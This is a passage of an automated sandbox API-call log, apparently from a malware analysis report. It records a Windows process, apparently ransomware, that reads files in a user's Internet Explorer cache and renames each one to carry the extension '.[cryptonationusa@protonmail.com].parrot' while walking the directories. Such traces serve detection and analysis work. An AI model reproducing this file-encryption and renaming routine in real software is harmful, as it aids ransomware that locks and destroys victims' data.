lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.856] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.856] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x922, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x922, lpOverlapped=0x0) returned 1 [0084.857] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.857] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\msn[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\msn[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\msn[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\msn[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.858] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.858] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.858] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237990 | out: hHeap=0x5b0000) returned 1 [0084.862] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.862] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.871] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.871] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3112, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3112, lpOverlapped=0x0) returned 1 [0084.872] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.874] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\rpc_shindig_random[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\rpc_shindig_random[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\rpc_shindig_random[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\rpc_shindig_random[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178458 | out: hHeap=0x5b0000) returned 1 [0084.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223a0d8 | out: hHeap=0x5b0000) returned 1 [0084.879] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.879] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.881] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.881] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa33, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xa33, lpOverlapped=0x0) returned 1 [0084.881] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.882] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\uid[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\uid[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\uid[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\uid[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237aa0 | out: hHeap=0x5b0000) returned 1 [0084.885] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.885] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.886] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.887] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3325, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3325, lpOverlapped=0x0) returned 1 [0084.888] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.890] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\v2[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\v2[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\v2[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\v2[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0084.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223a0d8 | out: hHeap=0x5b0000) returned 1 [0084.894] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.894] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.930] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.930] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x24fea, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x24fea, lpOverlapped=0x0) returned 1 [0084.939] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.041] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\wc-addons[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\wc-addons[1].css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\wc-addons[1].css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\wc-addons[1].css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0085.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6ee8 | out: hHeap=0x5b0000) returned 1 [0085.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0085.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0085.058] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0085.058] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc0060160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc0060160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.061] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe967230, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe967230, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbea0f320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x8098, dwReserved0=0x0, dwReserved1=0x0, cFileName="0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="0FF929~1.PAR")) returned 1 [0085.062] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0085.062] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.062] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbcf47ba0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbcf47ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9QH4S0GZ", cAlternateFileName="")) returned 1 [0085.062] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbdb54b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbdb54b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ABV8L7MY", cAlternateFileName="")) returned 1 [0085.062] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.062] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbe99cf00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbe99cf00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IKQEEPZR", cAlternateFileName="")) returned 1 [0085.062] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x54000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0085.062] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc0060160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc0060160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YG1R61Z8", cAlternateFileName="")) returned 1 [0085.062] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc0060160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc0060160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YG1R61Z8", cAlternateFileName="")) returned 0 [0085.062] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0085.062] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0085.063] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d85d8 | out: hHeap=0x5b0000) returned 1 [0085.063] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.063] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51445650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1 [0085.063] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.063] ReadFile (in: hFile=0x264, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0085.065] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.065] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x4000, lpOverlapped=0x0) returned 1 [0085.067] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.068] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\msimgsiz.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\msimgsiz.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0085.070] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0085.070] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0085.070] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f2b0 | out: hHeap=0x5b0000) returned 1 [0085.073] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0085.073] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc00ac420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc00ac420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.074] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbbd47540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbbd47540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AntiPhishing", cAlternateFileName="ANTIPH~1")) returned 1 [0085.074] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0085.074] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.074] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51445650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc00ac420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4128, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MSIMGS~1.PAR")) returned 1 [0085.074] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0085.075] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.075] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.075] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.075] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.075] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 1 [0085.075] lstrcmpW (lpString1="C", lpString2=".") returned 1 [0085.075] lstrcmpW (lpString1="C", lpString2="..") returned 1 [0085.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8500 [0085.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178aa0 | out: hHeap=0x5b0000) returned 1 [0085.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8428 [0085.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178aa0 [0085.075] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0085.075] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.075] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, 